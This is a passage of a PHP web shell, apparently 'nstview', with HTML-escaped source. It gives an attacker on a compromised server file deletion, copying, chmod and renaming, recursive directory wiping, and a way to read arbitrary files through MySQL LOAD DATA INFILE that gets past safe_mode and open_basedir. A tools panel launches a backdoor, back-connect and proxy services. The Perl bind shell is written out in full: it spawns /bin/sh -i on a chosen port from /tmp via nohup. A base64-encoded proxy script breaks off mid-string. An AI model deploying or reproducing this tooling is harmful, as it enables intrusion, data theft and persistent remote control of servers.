table\r\n\r\n\r\n$read_file_safe_mode=$_GET['read_file_safe_mode'];\r\nif($read_file_safe_mode){\r\n\r\nif(!isset($_POST['l'])){$_POST['l']=\&quot;root\&quot;;}\r\n\r\nprint \&quot;&lt;br&gt;\r\nRead file content using MySQL - when &lt;b&gt;safe_mode&lt;/b&gt;, &lt;b&gt;open_basedir&lt;/b&gt; is &lt;font color=green&gt;ON&lt;/font&gt;&lt;Br&gt;\r\n&lt;form method=post&gt;\r\n&lt;table&gt;\r\n&lt;tr&gt;&lt;td&gt;Addr:&lt;/td&gt;&lt;Td&gt; &lt;input name=serv_ip value='127.0.0.1'&gt;&lt;input name=port value='3306' size=6&gt;&lt;/td&gt;&lt;/tr&gt;\r\n&lt;tr&gt;&lt;td&gt;Login:&lt;/td&gt;&lt;td&gt;&lt;input name=l value=\&quot;.$_POST['l'].\&quot;&gt;&lt;/td&gt;&lt;/tr&gt;\r\n&lt;tr&gt;&lt;td&gt;Passw:&lt;/td&gt;&lt;td&gt;&lt;input name=p value=\&quot;.$_POST['p'].\&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;\r\n(example: /etc/hosts)&lt;br&gt;\r\n&lt;input name=read_file size=45&gt;&lt;br&gt;\r\n&lt;input type=submit value='Show content'&gt;\r\n&lt;/form&gt;\r\n&lt;br&gt;\&quot;;\r\n\r\nif($_POST['read_file']){\r\n$read_file=$_POST['read_file'];\r\n@mysql_connect($_POST['serv_ip'].\&quot;:\&quot;.$_POST['port'],$_POST['l'],$_POST['p']) or die(\&quot;&lt;font color=red&gt;\&quot;.mysql_error().\&quot;&lt;/font&gt;\&quot;);\r\nmysql_create_db(\&quot;tmp_bd_file\&quot;) or die(\&quot;&lt;font color=red&gt;\&quot;.mysql_error().\&quot;&lt;/font&gt;\&quot;);\r\nmysql_select_db(\&quot;tmp_bd_file\&quot;) or die(\&quot;&lt;font color=red&gt;\&quot;.mysql_error().\&quot;&lt;/font&gt;\&quot;);\r\nmysql_query('CREATE TABLE `tmp_file` ( `file` LONGBLOB NOT NULL );') or die(\&quot;&lt;font color=red&gt;\&quot;.mysql_error().\&quot;&lt;/font&gt;\&quot;);\r\nmysql_query(\&quot;LOAD DATA INFILE \\&quot;\&quot;.addslashes($read_file).\&quot;\\&quot; INTO TABLE tmp_file\&quot;);\r\n$query = \&quot;SELECT * FROM tmp_file\&quot;;\r\n$result = mysql_query($query) or die(\&quot;&lt;font color=red&gt;\&quot;.mysql_error().\&quot;&lt;/font&gt;\&quot;);\r\nprint \&quot;&lt;b&gt;File content&lt;/b&gt;:&lt;br&gt;&lt;br&gt;\&quot;;\r\nfor($i=0;$i&lt;mysql_num_fields($result);$i++){\r\n$name=mysql_field_name($result,$i);}\r\nwhile($line=mysql_fetch_array($result, MYSQL_ASSOC)){\r\nforeach ($line as $key =&gt;$col_value) {\r\nprint htmlspecialchars($col_value).\&quot;&lt;br&gt;\&quot;;}}\r\nmysql_free_result($result);\r\nmysql_drop_db(\&quot;tmp_bd_file\&quot;) or die(\&quot;&lt;font color=red&gt;\&quot;.mysql_error().\&quot;&lt;/font&gt;\&quot;);\r\n}\r\n\r\n\r\nprint $copyr;\r\ndie;\r\n}#end of read_file_safe_mode\r\n\r\n\r\n# sys\r\n$wich_f=$_GET['wich_f'];\r\n$delete=$_GET['delete'];\r\n$del_f=$_GET['del_f'];\r\n$chmod=$_GET['chmod'];\r\n$ccopy_to=$_GET['ccopy_to'];\r\n\r\n\r\n# delete\r\nif(@$_GET['del_f']){\r\nif(!isset($delete)){\r\nprint \&quot;&lt;font color=red&gt;Delete this file?&lt;/font&gt;&lt;br&gt;\r\n&lt;b&gt;$d/$wich_f&lt;br&gt;&lt;br&gt;&lt;/b&gt;\r\n&lt;a href='$php_self?d=$d&amp;del_f=$wich_f&amp;delete=1'&gt;Yes&lt;/a&gt; / &lt;a href='$php_self?d=$d'&gt;No&lt;/a&gt;\r\n\&quot;;}\r\nif($delete==1){\r\nunlink($d.\&quot;/\&quot;.$del_f);\r\nprint \&quot;&lt;b&gt;File: &lt;font color=green&gt;$d/$del_f DELETED!&lt;/font&gt;&lt;/b&gt;\r\n&lt;br&gt;&lt;b&gt; &lt;a href='$php_self?d=$d'&gt;# BACK&lt;/a&gt;\r\n\&quot;;\r\n}\r\necho $copyr;\r\nexit;\r\n}\r\n\r\n\r\n# copy to\r\nif($ccopy_to){\r\n$wich_f=$_POST['wich_f'];\r\n$to_f=$_POST['to_f'];\r\nprint \&quot;&lt;font color=green&gt;Copy file:&lt;br&gt;\r\n$d/$ccopy_to&lt;/font&gt;&lt;br&gt;\r\n&lt;br&gt;\r\n&lt;form method=post&gt;\r\nFile:&lt;br&gt;&lt;input name=wich_f size=100 value='$d/$ccopy_to'&gt;&lt;br&gt;&lt;br&gt;\r\nTo:&lt;br&gt;&lt;input name=to_f size=100 value='$d/nst_$ccopy_to'&gt;&lt;br&gt;&lt;br&gt;\r\n&lt;input type=submit value=Copy&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;\r\n\&quot;;\r\n\r\nif($to_f){\r\n@copy($wich_f,$to_f) or die(\&quot;&lt;font color=red&gt;Cannot copy!!! maybe folder is not writable&lt;/font&gt;\&quot;);\r\nprint \&quot;&lt;font color=green&gt;&lt;b&gt;Copy success!!!&lt;/b&gt;&lt;/font&gt;&lt;br&gt;\&quot;;\r\n}\r\n\r\necho $copyr;\r\nexit;\r\n}\r\n\r\n\r\n# chmod\r\nif(@$_GET['chmod']){\r\n$perms = @fileperms($d.\&quot;/\&quot;.$wich_f);\r\nprint \&quot;&lt;b&gt;&lt;font color=green&gt;CHMOD file $d/$wich_f&lt;/font&gt;&lt;br&gt;\r\n&lt;br&gt;&lt;center&gt;This file chmod is&lt;/b&gt; \&quot;;\r\nprint perm($perms);\r\nprint \&quot;&lt;/center&gt;\r\n&lt;br&gt;\&quot;;\r\n$chmd=&lt;&lt;&lt;HTML\r\n\r\n&lt;script&gt;\r\n&lt;!--\r\n\r\nfunction do_chmod(user) {\r\n        var field4 = user + \&quot;4\&quot;;\r\n        var field2 = user + \&quot;2\&quot;;\r\n        var field1 = user + \&quot;1\&quot;;\r\n        var total = \&quot;t_\&quot; + user;\r\n        var symbolic = \&quot;sym_\&quot; + user;\r\n        var number = 0;\r\n        var sym_string = \&quot;\&quot;;\r\n\r\n        if (document.chmod[field4].checked == true) { number += 4; }\r\n        if (document.chmod[field2].checked == true) { number += 2; }\r\n        if (document.chmod[field1].checked == true) { number += 1; }\r\n\r\n        if (document.chmod[field4].checked == true) {\r\n                sym_string += \&quot;r\&quot;;\r\n        } else {\r\n                sym_string += \&quot;-\&quot;;\r\n        }\r\n        if (document.chmod[field2].checked == true) {\r\n                sym_string += \&quot;w\&quot;;\r\n        } else {\r\n                sym_string += \&quot;-\&quot;;\r\n        }\r\n        if (document.chmod[field1].checked == true) {\r\n                sym_string += \&quot;x\&quot;;\r\n        } else {\r\n                sym_string += \&quot;-\&quot;;\r\n        }\r\n\r\n        if (number == 0) { number = \&quot;\&quot;; }\r\n        document.chmod[total].value = number;\r\n        document.chmod[symbolic].value = sym_string;\r\n\r\n        document.chmod.t_total.value = document.chmod.t_owner.value + document.chmod.t_group.value + document.chmod.t_other.value;\r\n        document.chmod.sym_total.value = \&quot;-\&quot; + document.chmod.sym_owner.value + document.chmod.sym_group.value + document.chmod.sym_other.value;\r\n}\r\n//--&gt;\r\n&lt;/script&gt;\r\n\r\n\r\n\r\n&lt;form name=\&quot;chmod\&quot; method=post&gt;\r\n&lt;p&gt;&lt;table cellpadding=\&quot;0\&quot; cellspacing=\&quot;0\&quot; border=\&quot;0\&quot; bgcolor=\&quot;silver\&quot;&gt;&lt;tr&gt;&lt;td width=\&quot;100%\&quot; valign=\&quot;top\&quot;&gt;&lt;table width=\&quot;100%\&quot; cellpadding=\&quot;5\&quot; cellspacing=\&quot;2\&quot; border=\&quot;0\&quot;&gt;&lt;tr&gt;&lt;td width=\&quot;100%\&quot; bgcolor=\&quot;#008000\&quot; align=\&quot;center\&quot; colspan=\&quot;5\&quot;&gt;&lt;font color=\&quot;#ffffff\&quot; size=\&quot;3\&quot;&gt;&lt;b&gt;CHMOD (File Permissions)&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;\r\n        &lt;tr bgcolor=\&quot;gray\&quot;&gt;\r\n                &lt;td align=\&quot;left\&quot;&gt;&lt;b&gt;Permission&lt;/b&gt;&lt;/td&gt;\r\n                &lt;td align=\&quot;center\&quot;&gt;&lt;b&gt;Owner&lt;/b&gt;&lt;/td&gt;\r\n                &lt;td align=\&quot;center\&quot;&gt;&lt;b&gt;Group&lt;/b&gt;&lt;/td&gt;\r\n                &lt;td align=\&quot;center\&quot;&gt;&lt;b&gt;Other&lt;/b&gt;&lt;/td&gt;\r\n                &lt;td bgcolor=\&quot;#dddddd\&quot; rowspan=\&quot;4\&quot;&gt; &lt;/td&gt;\r\n        &lt;/tr&gt;&lt;tr bgcolor=\&quot;#dddddd\&quot;&gt;\r\n                &lt;td align=\&quot;left\&quot; nowrap&gt;&lt;b&gt;Read&lt;/b&gt;&lt;/td&gt;\r\n                &lt;td align=\&quot;center\&quot; bgcolor=\&quot;#ffffff\&quot;&gt;&lt;input type=\&quot;checkbox\&quot; name=\&quot;owner4\&quot; value=\&quot;4\&quot; onclick=\&quot;do_chmod('owner')\&quot;&gt;&lt;/td&gt;\r\n                &lt;td align=\&quot;center\&quot; bgcolor=\&quot;#ffffff\&quot;&gt;&lt;input type=\&quot;checkbox\&quot; name=\&quot;group4\&quot; value=\&quot;4\&quot; onclick=\&quot;do_chmod('group')\&quot;&gt;&lt;/td&gt;\r\n                &lt;td align=\&quot;center\&quot; bgcolor=\&quot;#ffffff\&quot;&gt;&lt;input type=\&quot;checkbox\&quot; name=\&quot;other4\&quot; value=\&quot;4\&quot; onclick=\&quot;do_chmod('other')\&quot;&gt;&lt;/td&gt;\r\n        &lt;/tr&gt;&lt;tr bgcolor=\&quot;#dddddd\&quot;&gt;\r\n                &lt;td align=\&quot;left\&quot; nowrap&gt;&lt;b&gt;Write&lt;/b&gt;&lt;/td&gt;\r\n                &lt;td align=\&quot;center\&quot; bgcolor=\&quot;#ffffff\&quot;&gt;&lt;input type=\&quot;checkbox\&quot; name=\&quot;owner2\&quot; value=\&quot;2\&quot; onclick=\&quot;do_chmod('owner')\&quot;&gt;&lt;/td&gt;\r\n                &lt;td align=\&quot;center\&quot; bgcolor=\&quot;#ffffff\&quot;&gt;&lt;input type=\&quot;checkbox\&quot; name=\&quot;group2\&quot; value=\&quot;2\&quot; onclick=\&quot;do_chmod('group')\&quot;&gt;&lt;/td&gt;\r\n                &lt;td align=\&quot;center\&quot; bgcolor=\&quot;#ffffff\&quot;&gt;&lt;input type=\&quot;checkbox\&quot; name=\&quot;other2\&quot; value=\&quot;2\&quot; onclick=\&quot;do_chmod('other')\&quot;&gt;&lt;/td&gt;\r\n        &lt;/tr&gt;&lt;tr bgcolor=\&quot;#dddddd\&quot;&gt;\r\n                &lt;td align=\&quot;left\&quot; nowrap&gt;&lt;b&gt;Execute&lt;/b&gt;&lt;/td&gt;\r\n                &lt;td align=\&quot;center\&quot; bgcolor=\&quot;#ffffff\&quot;&gt;&lt;input type=\&quot;checkbox\&quot; name=\&quot;owner1\&quot; value=\&quot;1\&quot; onclick=\&quot;do_chmod('owner')\&quot;&gt;&lt;/td&gt;\r\n                &lt;td align=\&quot;center\&quot; bgcolor=\&quot;#ffffff\&quot;&gt;&lt;input type=\&quot;checkbox\&quot; name=\&quot;group1\&quot; value=\&quot;1\&quot; onclick=\&quot;do_chmod('group')\&quot;&gt;&lt;/td&gt;\r\n                &lt;td align=\&quot;center\&quot; bgcolor=\&quot;#ffffff\&quot;&gt;&lt;input type=\&quot;checkbox\&quot; name=\&quot;other1\&quot; value=\&quot;1\&quot; onclick=\&quot;do_chmod('other')\&quot;&gt;&lt;/td&gt;\r\n        &lt;/tr&gt;&lt;tr bgcolor=\&quot;#dddddd\&quot;&gt;\r\n                &lt;td align=\&quot;right\&quot; nowrap&gt;Octal:&lt;/td&gt;\r\n                &lt;td align=\&quot;center\&quot;&gt;&lt;input type=\&quot;text\&quot; name=\&quot;t_owner\&quot; value=\&quot;\&quot; size=\&quot;1\&quot;&gt;&lt;/td&gt;\r\n                &lt;td align=\&quot;center\&quot;&gt;&lt;input type=\&quot;text\&quot; name=\&quot;t_group\&quot; value=\&quot;\&quot; size=\&quot;1\&quot;&gt;&lt;/td&gt;\r\n                &lt;td align=\&quot;center\&quot;&gt;&lt;input type=\&quot;text\&quot; name=\&quot;t_other\&quot; value=\&quot;\&quot; size=\&quot;1\&quot;&gt;&lt;/td&gt;\r\n                &lt;td align=\&quot;left\&quot;&gt;&lt;b&gt;=&lt;/b&gt; &lt;input type=\&quot;text\&quot; name=\&quot;t_total\&quot; value=\&quot;777\&quot; size=\&quot;3\&quot;&gt;&lt;/td&gt;\r\n        &lt;/tr&gt;&lt;tr bgcolor=\&quot;#dddddd\&quot;&gt;\r\n                &lt;td align=\&quot;right\&quot; nowrap&gt;Symbolic:&lt;/td&gt;\r\n                &lt;td align=\&quot;center\&quot;&gt;&lt;input type=\&quot;text\&quot; name=\&quot;sym_owner\&quot; value=\&quot;\&quot; size=\&quot;3\&quot;&gt;&lt;/td&gt;\r\n                &lt;td align=\&quot;center\&quot;&gt;&lt;input type=\&quot;text\&quot; name=\&quot;sym_group\&quot; value=\&quot;\&quot; size=\&quot;3\&quot;&gt;&lt;/td&gt;\r\n                &lt;td align=\&quot;center\&quot;&gt;&lt;input type=\&quot;text\&quot; name=\&quot;sym_other\&quot; value=\&quot;\&quot; size=\&quot;3\&quot;&gt;&lt;/td&gt;\r\n                &lt;td align=\&quot;left\&quot; width=100&gt;&lt;b&gt;=&lt;/b&gt; &lt;input type=\&quot;text\&quot; name=\&quot;sym_total\&quot; value=\&quot;\&quot; size=\&quot;10\&quot;&gt;&lt;/td&gt;\r\n        &lt;/tr&gt;\r\n&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/p&gt;\r\nHTML;\r\n\r\nprint \&quot;&lt;center&gt;\&quot;.$chmd.\&quot;\r\n\r\n&lt;b&gt;$d/$wich_f&lt;/b&gt;&lt;br&gt;&lt;br&gt;\r\n&lt;input type=submit value=CHMOD&gt;&lt;/form&gt;\r\n&lt;/center&gt;\r\n&lt;/form&gt;\r\n\&quot;;\r\n$t_total=$_POST['t_total'];\r\nif($t_total){\r\nchmod($d.\&quot;/\&quot;.$wich_f,$t_total);\r\nprint \&quot;&lt;center&gt;&lt;font color=green&gt;&lt;br&gt;&lt;b&gt;Now chmod is $t_total&lt;/b&gt;&lt;br&gt;&lt;br&gt;&lt;/font&gt;\&quot;;\r\nprint \&quot;&lt;a href='$php_self?d=$d'&gt;# BACK&lt;/a&gt;&lt;br&gt;&lt;br&gt;\&quot;;\r\n}\r\necho $copyr;\r\nexit;\r\n}\r\n\r\n# rename\r\nif(@$_GET['rename']){\r\nprint \&quot;&lt;b&gt;&lt;font color=green&gt;RENAME $d/$wich_f ?&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br&gt;\r\n&lt;center&gt;\r\n&lt;form method=post&gt;\r\n&lt;b&gt;RENAME&lt;/b&gt;&lt;br&gt;&lt;u&gt;$wich_f&lt;/u&gt;&lt;br&gt;&lt;Br&gt;&lt;B&gt;TO&lt;/B&gt;&lt;br&gt;\r\n&lt;input name=rto size=40 value='$wich_f'&gt;&lt;br&gt;&lt;br&gt;\r\n&lt;input type=submit value=RENAME&gt;\r\n&lt;/form&gt;\r\n\&quot;;\r\n\r\n@$rto=$_POST['rto'];\r\n\r\nif($rto){\r\n$fr1=$d.\&quot;/\&quot;.$wich_f;\r\n$fr1=str_replace(\&quot;//\&quot;,\&quot;/\&quot;,$fr1);\r\n$to1=$d.\&quot;/\&quot;.$rto;\r\n$to1=str_replace(\&quot;//\&quot;,\&quot;/\&quot;,$to1);\r\n\r\nrename($fr1,$to1);\r\nprint \&quot;File &lt;br&gt;&lt;b&gt;$wich_f&lt;/b&gt;&lt;br&gt;Renamed to &lt;b&gt;$rto&lt;/b&gt;&lt;br&gt;&lt;br&gt;\&quot;;\r\n\r\necho \&quot;&lt;meta http-equiv=\\&quot;REFRESH\\&quot; content=\\&quot;3;URL=\&quot;.$php_self.\&quot;?d=\&quot;.$d.\&quot;&amp;rename=1&amp;wich_f=\&quot;.$rto.\&quot;\\&quot;&gt;\&quot;;\r\n\r\n}\r\n\r\necho $copyr;\r\nexit;\r\n}\r\n\r\n\r\n\r\n\r\nif(@$_GET['deldir']){\r\n@$dir=$_GET['dir'];\r\nfunction deldir($dir)\r\n{\r\n$handle = @opendir($dir);\r\nwhile (false!==($ff = @readdir($handle))){\r\nif($ff != \&quot;.\&quot; &amp;&amp; $ff != \&quot;..\&quot;){\r\nif(@is_dir(\&quot;$dir/$ff\&quot;)){\r\ndeldir(\&quot;$dir/$ff\&quot;);\r\n}else{\r\n@unlink(\&quot;$dir/$ff\&quot;);\r\n}}}\r\n@closedir($handle);\r\nif(@rmdir($dir)){\r\n@$success = true;}\r\nreturn @$success;\r\n}\r\n$dir=@$dir;\r\ndeldir($dir);\r\n\r\n$rback=$_GET['rback'];\r\n@$rback=explode(\&quot;/\&quot;,$rback);\r\n$crb=count($rback);\r\nfor($i=0; $i&lt;$crb-1; $i++){\r\n        @$x.=$rback[$i].\&quot;/\&quot;;\r\n}\r\necho \&quot;&lt;meta http-equiv=\\&quot;REFRESH\\&quot; content=\\&quot;0;URL='$php_self?d=\&quot;.@$x.\&quot;'\\&quot;&gt;\&quot;;\r\necho $copyr;\r\nexit;}\r\n\r\n\r\nif(@$_GET['t']==\&quot;tools\&quot;){\r\n        # unix\r\nif($os==\&quot;unix\&quot;){\r\nprint \&quot;\r\n&lt;center&gt;&lt;br&gt;\r\n&lt;font color=red&gt;&lt;b&gt;P.S: After you Start, your browser may stuck! You must close it, and then run nstview.php again.&lt;/b&gt;&lt;br&gt;&lt;/font&gt;\r\n&lt;table border=1&gt;\r\n&lt;tr&gt;&lt;td align=center&gt;&lt;b&gt;[Name]&lt;/td&gt;&lt;td align=center&gt;&lt;b&gt;[C]&lt;/td&gt;&lt;td align=center&gt;&lt;b&gt;[Port]&lt;/td&gt;&lt;td align=center&gt;&lt;b&gt;[Perl]&lt;/td&gt;&lt;td align=center&gt;&lt;b&gt;[Port]&lt;/td&gt;&lt;td align=center&gt;&lt;b&gt;[Other options, info]&lt;/td&gt;&lt;/tr&gt;\r\n&lt;tr&gt;&lt;form method=post&gt;&lt;td&gt;&lt;font color=red&gt;&lt;b&gt;Backdoor:&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;input type=submit name=c_bd value='Start' style='background-color:green;'&gt;&lt;/td&gt;&lt;td&gt;&lt;input name=port size=6 value=5545&gt;&lt;/td&gt;&lt;/form&gt;&lt;form method=post&gt;&lt;td&gt;&lt;input type=submit name=perl_bd value='Start' style='background-color:green;'&gt;&lt;/td&gt;&lt;td&gt;&lt;input name=port value=5551 size=6&gt;&lt;/td&gt;&lt;td&gt;none&lt;/td&gt;&lt;/form&gt;&lt;/tr&gt;\r\n&lt;tr&gt;&lt;form method=post&gt;&lt;td&gt;&lt;font color=red&gt;&lt;b&gt;Back connect:&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;input type=submit value='Start' name=bc_c style='background-color:green;'&gt;&lt;/td&gt;&lt;td&gt;&lt;input name=port_c size=6 value=5546&gt;&lt;/td&gt;&lt;td&gt;&lt;input type=submit value='Start' name=port_p disabled style='background-color:gray;'&gt;&lt;/td&gt;&lt;td&gt;&lt;input name=port value=5552 size=6&gt;&lt;/td&gt;&lt;td&gt;b.c. ip: &lt;input name=ip value='\&quot;.$_SERVER['REMOTE_ADDR'].\&quot;'&gt; nc -l -p &lt;i&gt;5546&lt;/i&gt;&lt;/td&gt;&lt;/form&gt;&lt;/tr&gt;\r\n&lt;tr&gt;&lt;form method=post&gt;&lt;td&gt;&lt;font color=red&gt;&lt;b&gt;Datapipe:&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;input type=submit value='Start' disabled style='background-color:gray;'&gt;&lt;/td&gt;&lt;td&gt;&lt;input name=port_1 size=6 value=5547&gt;&lt;/td&gt;&lt;td&gt;&lt;input type=submit value='Start' name=datapipe_pl style='background-color:green;'&gt;&lt;/td&gt;&lt;td&gt;&lt;input name=port_2 value=5553 size=6&gt;&lt;/td&gt;&lt;td&gt;other serv ip: &lt;input name=ip&gt; port: &lt;input name=port_3 value=5051 size=6&gt;&lt;/td&gt;&lt;/form&gt;&lt;/tr&gt;\r\n&lt;tr&gt;&lt;form method=post&gt;&lt;td&gt;&lt;font color=red&gt;&lt;b&gt;Web proxy:&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;input type=submit value='Start' disabled style='background-color:gray;'&gt;&lt;/td&gt;&lt;td&gt;&lt;input name=port size=6 value=5548&gt;&lt;/td&gt;&lt;/form&gt;&lt;form method=post&gt;&lt;td&gt;&lt;input type=submit value='Start' name=perl_proxy style='background-color:green;'&gt;&lt;/td&gt;&lt;td&gt;&lt;input name=port size=6 value=5554&gt;&lt;/td&gt;&lt;/form&gt;&lt;td&gt;none&lt;/td&gt;&lt;/tr&gt;\r\n&lt;tr&gt;&lt;form method=post&gt;&lt;td&gt;&lt;font color=red&gt;&lt;b&gt;Socks 4 serv:&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;input type=submit value='Start' disabled style='background-color:gray;'&gt;&lt;/td&gt;&lt;td&gt;&lt;input name=port size=6 value=5549&gt;&lt;/td&gt;&lt;/form&gt;&lt;td&gt;&lt;input type=submit value='Start' disabled style='background-color:gray;'&gt;&lt;/td&gt;&lt;td&gt;&lt;input name=port size=6 value=5555&gt;&lt;/td&gt;&lt;td&gt;none&lt;/td&gt;&lt;/tr&gt;\r\n&lt;tr&gt;&lt;form method=post&gt;&lt;td&gt;&lt;font color=red&gt;&lt;b&gt;Socks 5 serv:&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;input type=submit value='Start' disabled style='background-color:gray;'&gt;&lt;/td&gt;&lt;td&gt;&lt;input name=port size=6 value=5550&gt;&lt;/td&gt;&lt;/form&gt;&lt;td&gt;&lt;input type=submit value='Start' disabled style='background-color:gray;'&gt;&lt;/td&gt;&lt;td&gt;&lt;input name=port size=6 value=5556&gt;&lt;/td&gt;&lt;td&gt;none&lt;/td&gt;&lt;/tr&gt;\r\n&lt;/table&gt;\r\n&lt;/center&gt;\r\n&lt;br&gt;&lt;Br&gt;\r\n\&quot;;\r\n}#end of unix\r\n\r\n\r\nif($_POST['perl_bd']){\r\n$port=$_POST['port'];\r\n$perl_bd_scp = \&quot;\r\nuse Socket;\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));\r\nsetsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);bind(S,sockaddr_in(\$p,INADDR_ANY));\r\nlisten(S,50);while(1){accept(X,S);if(!(\$pid=fork)){if(!defined \$pid){exit(0);}\r\nopen STDIN,\\&quot;&lt;&amp;X\\&quot;;open STDOUT,\\&quot;&gt;&amp;X\\&quot;;open STDERR,\\&quot;&gt;&amp;X\\&quot;;exec(\\&quot;/bin/sh -i\\&quot;);\r\nclose X;}}\&quot;;\r\n\r\nif(is_writable(\&quot;/tmp\&quot;)){\r\n$fp=fopen(\&quot;/tmp/nst_perl_bd.pl\&quot;,\&quot;w\&quot;);\r\nfwrite($fp,\&quot;$perl_bd_scp\&quot;);\r\npassthru(\&quot;nohup perl /tmp/nst_perl_bd.pl &amp;\&quot;);\r\nunlink(\&quot;/tmp/nst_perl_bd.pl\&quot;);\r\n}else{\r\nif(is_writable(\&quot;.\&quot;)){\r\nmkdir(\&quot;.nst_bd_tmp\&quot;);\r\n$fp=fopen(\&quot;.nst_bd_tmp/nst_perl_bd.pl\&quot;,\&quot;w\&quot;);\r\nfwrite($fp,\&quot;$perl_bd_scp\&quot;);\r\npassthru(\&quot;nohup perl .nst_bd_tmp/nst_perl_bd.pl &amp;\&quot;);\r\nunlink(\&quot;.nst_bd_tmp/nst_perl_bd.pl\&quot;);\r\nrmdir(\&quot;.nst_bd_tmp\&quot;);\r\n}\r\n}\r\n$show_ps=\&quot;1\&quot;;\r\n}#end of start perl_bd\r\n\r\nif($_POST['perl_proxy']){\r\n$port=$_POST['port'];\r\n$perl_proxy_scp = \&quot;IyEvdXNyL2Jpbi9wZXJsICANCiMhL3Vzci91c2MvcGVybC81LjAwNC9iaW4vcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtIGh0dHAgcHJveHkgc2VydmVyLiB6YXB1c2thamVtOiBwZXJsIHByb3h5LnBsCTgxODEgbHVib2ogcG9ydCB2aTZpIDEwMjQtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KI3JlcXVpcmUgInN5cy9zb2NrZXQucGgiOw0KdXNlIFNvY2tldDsNCnNyYW5kICh0aW1lfHwkJCk7DQojLS0tICBEZWZpbmUgYSBmcmllbmRseSBleGl0IGhhbmRsZXINCiRTSUd7J0tJTEwnfSA9ICRTSUd7UVVJVH0gPSAkU0lHe0lOVH0gPSAnZXhpdF9oYW5kbGVyJzsNCnN1YiBleGl0X2hhbmRsZXIgew0KICAgIHByaW50ICJcblxuIC0tLSBQcm94eSBzZXJ2ZXIgaXMgZHlpbmcgLi4uXG5cbiI7DQogICAgY2xvc2UoU09DS0VUKTsNCiAgICBleGl0Ow0KDQp9DQojLS0tICBTZXR1cCBzb2NrZXQNCg0KJHwgPSAxOw0KJHByb3h5X3BvcnQgPSBzaGlmdChAQVJHVik7DQokcHJveHlfcG9ydCA9IDgxODEgdW5sZXNzICRwcm94eV9wb3J0ID1+IC9cZCsvOw0KDQokc29ja2V0X2Zvcm1hdCA9ICdTIG4gYTQgeDgnOw0KJmxpc3Rlbl90b19wb3J0KFNPQ0tFVCwgJHByb3h5X3BvcnQpOw0KJGxvY2FsX2hvc3QgPSBgaG9zdG5hbWVgOw0KY2hvcCgkbG9jYWxfaG9zdCk7DQokbG9jYWxfaG9zdF9pcCA9IChnZXRob3N0YnluYW1lKCRsb2NhbF9ob3N0KSlbNF07DQpwcmludCAiIC0tLSBQcm94eSBzZXJ2ZXIgcnVubmluZyBvbiAkbG9jYWxfaG9zdCBwb3J0OiAkcHJveHlfcG9ydCBcblxuIjsNCiMtLS0gIExvb3AgZm9yZXZlciB0YWtpbmcgcmVxdWVzdHMgYXMgdGhleSBjb21lDQp3aGlsZSAoMSkgew0KIy0tLSAgV2FpdCBmb3IgcmVxdWVzdA0KICAgIHByaW50ICIgLS0tIFdhaXRpbmcgdG8gYmUgb2Ygc2VydmljZSAuLi5cbiI7DQogICAgKCRhZGRyID0gYWNjZXB0KENISUxELFNPQ0tFVCkpIHx8IGRpZSAiYWNjZXB0ICQhIjsNCiAgICAoJHBvcnQsJGluZXRhZGRyKSA9ICh1bnBhY2soJHNvY2tldF9mb3JtYXQsJGFkZHIpKVsxLDJdOw0KICAgIEBpbmV0YWRkciA9IHVucGFjaygnQzQnLCRpbmV0YWRkcik7DQogICAgcHJpbnQgIkNvbm5lY3Rpb24gZnJvbSAiLCBqb2luKCIuIiwgQGluZXRhZGRyKSwgIiAgcG9ydDogJHBvcnQgXG4iOw0KIy0tLSAgRm9yayBhIHN1YnByb2Nlc3MgdG8gaGFuZGxlIHJlcXVlc3QuDQojLS0tICBQYXJlbnQgcHJvY2VzIGNvbnRpbnVlcyBsaXN0ZW5pbmcuDQogICAgaWYgKGZvcmspIHsNCgl3YWl0OwkJIyBGb3Igbm93IHdlIHdhaXQgZm9yIHRoZSBjaGlsZCB0byBmaW5pc2gNCgluZXh0OwkJIyBXZSB3YWl0IHNvIHRoYXQgcHJpbnRvdXRzIGRvbid0IG1peA0KICAgIH0NCiMtLS0gIFJlYWQgZmlyc3QgbGluZSBvZiByZXF1ZXN0IGFuZCBhbmFseXplIGl0Lg0KIy0tLSAgUmV0dXJuIGFuZCBlZGl0ZWQgdmVyc2lvbiBvZiB0aGUgZmlyc3QgbGluZSBhbmQgdGhlIHJlcXVlc3QgbWV0aG9kLg0KICAgKCRmaXJzdCwkbWV0aG9kKSA9ICZhbmFseXplX3JlcXVlc3Q7DQojLS0tICBTZW5kIHJlcXVlc3QgdG8gcmVtb3RlIGhvc3QNCiAgICBwcmludCBVUkwgJGZpcnN0Ow0KICAgIHByaW50ICRmaXJzdDsNCiAgICB3aGlsZSAoPENISUxEPikgew0KCXByaW50ICRfOw0KCW5leHQgaWYgKC9Qcm94eS1Db25uZWN0aW9uOi8pOw0KCXByaW50IFVSTCAkXzsNCglsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvKTsNCiAgICB9DQogICAgaWYgKCRtZXRob2QgZXEgIlBPU1QiKSB7DQoJJGRhdGEgPSA8Q0hJTEQ+Ow0KCXByaW50ICRkYXRhOw0KCXByaW50IFVSTCAkZGF0YTsNCiAgICB9DQogICAgcHJpbnQgVVJMICJcbiI7DQojLS0tICBXYWl0IGZvciByZXNwb25zZSBhbmQgdHJhbnNmZXIgaXQgdG8gcmVxdWVzdG9yLg0KICAgIHByaW50ICI